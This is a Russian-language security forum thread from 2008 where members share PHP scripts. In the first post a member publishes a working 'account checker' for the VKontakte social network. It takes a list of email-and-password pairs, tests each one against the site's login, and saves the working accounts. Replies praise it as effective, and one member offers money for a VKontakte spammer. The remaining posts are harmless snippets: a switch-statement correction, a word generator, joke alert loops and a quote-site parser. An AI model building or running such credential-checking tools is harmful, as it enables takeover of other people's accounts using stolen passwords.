HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 25.03.2008, 14:15
NNNS
Познающий
Регистрация: 26.05.2007
Сообщений: 63
Провел на форуме:
550386

Репутация: 86
Отправить сообщение для NNNS с помощью ICQ
По умолчанию

ВКонтакте АККчекер 0.1

Скрипт чекает аккаунты Вконтакте.ру на валидность.

Для работы требуется хост с поддержкой сокетов.
Залейте скрипт на хостинг.
Создайте файл "valid.txt" поставьте на него права на запись.
В файл "accounts.txt" вставьте список аккаунтов. "E-mail;Pass"
PHP код:
<?php
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
#&-------------------------------
#&     ВКонтакте АККчекер    0.1
#&     VKontakte ACCchecker  0.1
#&     By NNNS::[icq: 474374] 
#&     All lefts reserved.
#&-------------------------------
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|

# Отключаем ограничение на время выполнения скрипта
set_time_limit(0);
# User Agent
$user_agent "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12"
# Файл с аккаунтами
$acclist "accounts.txt";
# Файл с валидными аккаунтами
$vallist "valid.txt";
# Помещаем аккаунты в массив
$account file($acclist);
# Рабочие аккаунты
$valid   0;
# Нерабочие аккаунты
$invalid 0;

function 
vkCheck($email,$pass) { 
    
# Открываем сокет
    
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10); 
    
# Отправляем заголовки
    
$out "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n"
    
$out .= "Host: vkontakte.ru\r\n"
    
$out .= "User-Agent: ".$user_agent."\r\n"
    
$out .= "Cookie: income=1\r\n"
    
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n"
    
fwrite($fp,$out); 
    
# Записываем ответ сервера в переменную
    
$ans=fgets($fp,128); 
    
# Закрываем сокет
    
fclose($fp); 
    
# Если 302 найден, значит акк валидный
    
if(preg_match("/\b302 Found\b/is"$ans)) {
        return 
true;
    } else {
        return 
false;
    }
}
# Запускаем цикл
for($i=0;$i<count($account);$i++) {
    
# Удаляем симолы перевода строки
    
$caccaunt          str_replace("\r\n","",$account[$i]);
    
# Разбиваем на e-mail и пароль
    
list($email,$pass) = explode(";",$caccaunt);
    
# Вызываем функцию проверки аккаунта
    
$answer            vkCheck($email,$pass);
    
# Если аккаунт рабочий, записываем его в файл
    
if ($answer == true) {
        
$fd fopen($vallist,"a+");
        
fputs($fd,$account[$i]);
        
fclose($fd);
        
$valid++;
    } else {
        
$invalid++;    
    }
}
# Выводим результат
echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid;
?>
 
Ответить с цитированием

  #32  
Старый 27.03.2008, 23:49
Foxtrot1
Познающий
Регистрация: 27.03.2008
Сообщений: 89
Провел на форуме:
484321

Репутация: 81
Talking

все таки выложил и хорошо... на благо общества , кста я юзал его - работает как часы +1. Только когда файл accounts.txt перегружаешь большим количеством аков результат не выдает, но все равно записывает(просто скачиваю valid.txt и все...

Последний раз редактировалось Foxtrot1; 27.03.2008 в 23:53..
 
Ответить с цитированием

  #33  
Старый 28.03.2008, 01:14
LolFEm
Участник форума
Регистрация: 08.09.2006
Сообщений: 194
Провел на форуме:
1627025

Репутация: 163
По умолчанию

to Хелпер

пофикси багу деление на 0
 
Ответить с цитированием

  #34  
Старый 28.03.2008, 10:53
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Хелпер, Мне кажется, ты недопонял конструкцию switch.
PHP код:
switch ($num3

case 
"+"
echo 
$num1 $num2

switch (
$num3

case 
"-"
echo 
$num1 $num2

switch (
$num3

case 
"*"
echo 
$num1 $num2

switch (
$num3

case 
"/"
echo 
$num1 $num2

PHP код:
switch ($num3

  case 
'+':
  echo 
$num1 $num2;
  break;

  case 
'-':
  echo 
$num1 $num2
  break;

  case 
'*'
  echo 
$num1 $num2
  break;

  case 
'/':
  echo 
$num1 $num2
  break;

  default:
  echo 
'Какой-то левый параметр.';

 
Ответить с цитированием

  #35  
Старый 29.03.2008, 20:19
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219

Репутация: 2274


По умолчанию

Самый трушный мой скрипт от скуки, это мне совсем нечего было делать
PHP код:
<?php
function genStr($min,$max) {
    
$glas 'уеыаоэяию'#гласный букафке
    
$soglas 'цкнгшщзхфвпрлджчсмтб'#сагласные
    
$to rand($min,$max);
    
$ret '';
    for(
$i=0;$i<$to;$i++) {
        if(
$i%2$ret .= $glas[rand(0,strlen($glas)-1)];
        else 
$ret .= $soglas[rand(0,strlen($soglas)-1)];
    }
    
$ret[0] = strtoupper($ret[0]);
    return 
$ret;
}
?>
Генерит иногда оч ржачные слова
genStr(мин.букавок, максимум);
Запускаем, прёмся
PHP код:
<?php
for($i=0;$i<10;$i++) {
    echo 
genStr(3,10).'<br>';
}
?>
 
Ответить с цитированием

  #36  
Старый 01.04.2008, 19:15
Phm.phx
Постоянный
Регистрация: 12.01.2008
Сообщений: 336
Провел на форуме:
797429

Репутация: 598
Отправить сообщение для Phm.phx с помощью ICQ
По умолчанию

PHP код:
<?
$i
"<script>alert("С 1 апреля") </script><br>"
for ($i; ; )
{
echo 
$i
}
?>
 
Ответить с цитированием

  #37  
Старый 01.04.2008, 22:22
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

Код:
<script> while(true) { alert("С 1 апреля") } </script>
Phm.phx, так легче)
 
Ответить с цитированием

  #38  
Старый 03.04.2008, 22:03
d_x
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


По умолчанию

Действительно нечего было делать, написал парсер башорга, умеет выполнять все функции с ним

Вот класс для работы с башоргом:
http://rapidshare.com/files/104604548/bash.php.html
(на рапиду выложил, т.к. тут исходники искажаются немного)


Вот доки по классу
PHP код:
Все переменные - private, инфо просто для ознакомления

$bash_url 
url страницы башорга
$bash_text 
текст какой-либо из страниц башорга
$bash_arr 
массив пропарсенных цитат
$bash_type 
страницакоторую читаем
$bash_page 
номер страницыкоторую читаем
$bash_max_page 
максимальная страница 
$bash_curr_page 
текущая страница
$bash_last_quote 
последняя прочитанная цитата
$bash_q_num 
номер прочитанной цитаты
$bash_approved 
число добавленных за день цитат


Методы класса

Bash
($url='bash.org.ru') - конструктор класса$url адрес башорга:)
get_bash_text() - public, возвращает весь полученный функцией bash_read контент
get_bash_arr
() - public, возвращает весь полученный функцией bash_read контент

bash_read
($typ=0,$page=1,$stext='') - public, главная функциячитает башорг
$typ
==читает главную страницу
$typ
==читает страницу "по рейтингу"можно указать $page номер страницы
$typ
==читает бездну
$typ
==читает топ бездны
$typ
==читает "случайные"
$typ==читает конкретную цитату с номером $page
$typ
==ищет цитаты среди добавленныхнужно задать $stext строка поиска
$typ
==ищет цитаты в бездненужно задать $stext строка поиска
$typ
==читает страницу "по дате"можно указать $page номер страницы

bash_socket
($service_uri,$ref='',$method='GET') - private, работает с сокетами

bash_parse
() - public, парсит полученную с помощью bash_read страницу
Если были считаны главная
/"по рейтингу"/"случайные"/конкретная цитата по номеру/"по дате"/был произведён поиск в добавленныхто
возвращается массив 
array('id','rating','approved','date','cite'), где id массив номеров цитатrating массив и рейтинговapproved массив ников
тех
кто добавлял цитатыdate массив дат и времён добавленияcite массив текстов цитат.
Кроме тогоесли были считаны страницы "по рейтингу"/"по дате"функция определяет текущую страницу и максимальное число страницих можно получить
с помощью get_curr_page и get_max_page соответственно
Если же была считана главная страницато определяется число добавленных за последние сутки цитат,
его можно получить с помощью get_approved_num.

Если была считана бездна/произведён поиск по безднето возвращается массив array('id','date','cite').

Если был считан топ бездныто возвращается массив array('id','rating','date','cite').

get_number() - public, возвращает число найденных на странице цитат
get_page_name
() - public, возвращает имя последней считанной страницы
get_max_page
(), get_curr_page() - public, смbash_parse
rate_cite
($id,$typ=0,$inabyss=0) - public, изменяет рейтинг цитаты с номером $idЕсли $typ==0то ставится "+"если 1то "-"если "2"то "боян"
Если голосовать нужно за цитату в безднето укажите $inabyss==1если же за уже добавленную цитатуто 0.
Функция возвращает строку 
'abyss'если после голосования был редирект на безднулибо номер цитатына которую был редиректлибо 0если не удалось распознать ни первое ни второе.
get_cite_rate($id) - public, получает рейтинг добавленной цитаты с номером $id
bash_add
($cite='') - public, добавляет цитату с текстом $cite
get_approved_num
() - public, смbash_parse



Пример
для тогочтобы вывести свеженькие сегодняшние цитаты с главной страницыдостаточно такого кода:

require_once(
"bash.php"); //подключаем класс
$bash=new Bash(); //создаём объект
$bash->bash_read(); //читаем главную
$cite=$bash->bash_parse(); //парсим её

$anum=$bash->get_approved_num(); //получаем число добавленных сегодня цитат
$num=$bash->get_number(); //получаем число найденных цитат

if($anum>$num$anum=$num//если добавлено было больше, чем отображается

for($i=0;$i<$anum;$i++)
{
  print 
"<hr>{$cite['cite'][$i]}"//выводим цитатки


Вот пример простого ридера баша на базе моего класса:
PHP код:
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Bash.Org.Ru Reader by DX</title>
<style>
body
{
font-family:'Arial';
font-size:12;
}
hr
{
height: 1px;
color:black;
border:none;
background-color:blac;
}
.header
{
font-size:16;
font-weight:bold;
}
.bkg
{
background-color:#99bbff;
}
a,a:active,a:visited
{
color:#34498B;
text-decoration:none;
font-weight:700;
}
a:hover
{
color: blue;
font-weight:700;
text-decoration:underline;
}
input
{
BORDER: rgb(50,50,50) 1px outset;
FONT-SIZE: 11px;
font-family:Arial;
}
</style></head>
<body>
<b><a href="?loc=0">Главная App.</a> | <a href="?loc=10">Главная All</a> | <a href="?loc=3">Топ бездны</a>  | <a href="?loc=2">Бездна</a> | <a href="?loc=1">По рейтингу</a>
 | <a href="?loc=4">Случайные</a></b><form action="" method="get"><input type="hidden" name="loc" value="5">ID цитаты: <input type="text" name="page"> <input type="submit" value="Читать"></form><hr>
<?php
error_reporting
(E_ALL);
require_once(
"bash.php");


$loc=isset($_GET['loc']) ? $_GET['loc'] : 0;
$cid=isset($_GET['id']) ? $_GET['id'] : 0;

if(
$loc==|| $loc==5)
  
$page=isset($_GET['page']) ? $_GET['page'] : 1;
else
  
$page=1;

$bash=new Bash();

$a=isset($_GET['a']) ? $_GET['a'] : 0;

if(
$loc=='6')
{
  
$tmp=$bash->rate_cite($cid,0,$a);
  
$loc=$tmp=='abyss' 5;
  
$page=$cid;
}
else if(
$loc=='7')
{
  
$tmp=$bash->rate_cite($cid,1,$a);
  
$loc=$tmp=='abyss' 5;
  
$page=$cid;
}
else if(
$loc=='8')
{
  
$tmp=$bash->rate_cite($cid,2,$a);
  
$loc=$tmp=='abyss' 5;
  
$page=$cid;
}

$xloc=$loc;
if(
$loc==10$loc=0;

$bash->bash_read($loc,$page);
$cite=$bash->bash_parse();

if(
$xloc==0$anum=$bash->get_approved_num(); else $anum=0;

$num=$bash->get_number();

if(
$xloc==0)
{
  if(
$anum>100$anum=$num;
}
else
{
  
$anum=$num;
}

print 
"<center><span class='header'>".$bash->get_page_name()."</span></center><hr><b>Найдено: $anum</b>";

$ptxt='';

if(
$loc==1)
{
  
$ptxt="<br><b>Страницы: </b>";

  
$maxp=$bash->get_max_page();
  
$curp=$bash->get_curr_page();

  
$ptxt.="<a href='?loc=1&page=1'>первая</a> || ";

  if(
$curp>1)
  {
    
$tmp=$curp-1;
    
$ptxt.="<a href='?loc=1&page=$tmp'>&lt;&lt;&lt;предыдущая</a> &nbsp;";
  }

  
$ptxt.='<b>'.$curp.'</b>';

  if(
$maxp>$curp)
  {
    
$tmp=$curp+1;
    
$ptxt.=" &nbsp;<a href='?loc=1&page=$tmp'>следующая&gt;&gt;&gt;</a>";
  }

  
$ptxt.=" || <a href='?loc=1&page=$maxp'>последняя</a>";

  print 
$ptxt;
}



for(
$i=0;$i<$anum;$i++)
{
  print 
"<hr><span class='bkg'>#{$cite['id'][$i]} | {$cite['date'][$i]}";

  if(isset(
$cite['rating'][$i]))
    print 
" | <b>Rate</b>: {$cite['rating'][$i]}";

  if(isset(
$cite['approved'][$i]))
    print 
" | <b>{$cite['approved'][$i]}</b>";

  if(
$loc==|| $loc==|| $loc==|| $loc==4$a=0; else $a=1;
  print 
" || <a href='?loc=6&id={$cite['id'][$i]}&a=$a'>:D</a> | <a href='?loc=7&id={$cite['id'][$i]}&a=$a'>:(</a> | <a href='?loc=8&id={$cite['id'][$i]}&a=$a'>:X</a>";

  print 
'</span><br>'.$cite['cite'][$i];
}

if(
$ptxt)
  print 
'<hr>'.$ptxt;


?>
</body></html>
 
Ответить с цитированием

  #39  
Старый 12.04.2008, 00:42
Foxtrot1
Познающий
Регистрация: 27.03.2008
Сообщений: 89
Провел на форуме:
484321

Репутация: 81
По умолчанию

кто напишет спамер vkontakte можно за $.
 
Ответить с цитированием

  #40  
Старый 27.04.2008, 23:03
Хелпер
Участник форума
Регистрация: 21.02.2007
Сообщений: 171
Провел на форуме:
849260

Репутация: 32
По умолчанию

он вроде есть
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Скрипты управления хостингом и тд... Nova PHP 4 12.12.2005 20:49
Какие скрипты баннерных сетей вы знаете? rsha1988 PHP 0 19.09.2005 19:05
Варез, скрипты и другое... ХАЛЯВА =) JamesBond Болталка 5 03.03.2005 02:00



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ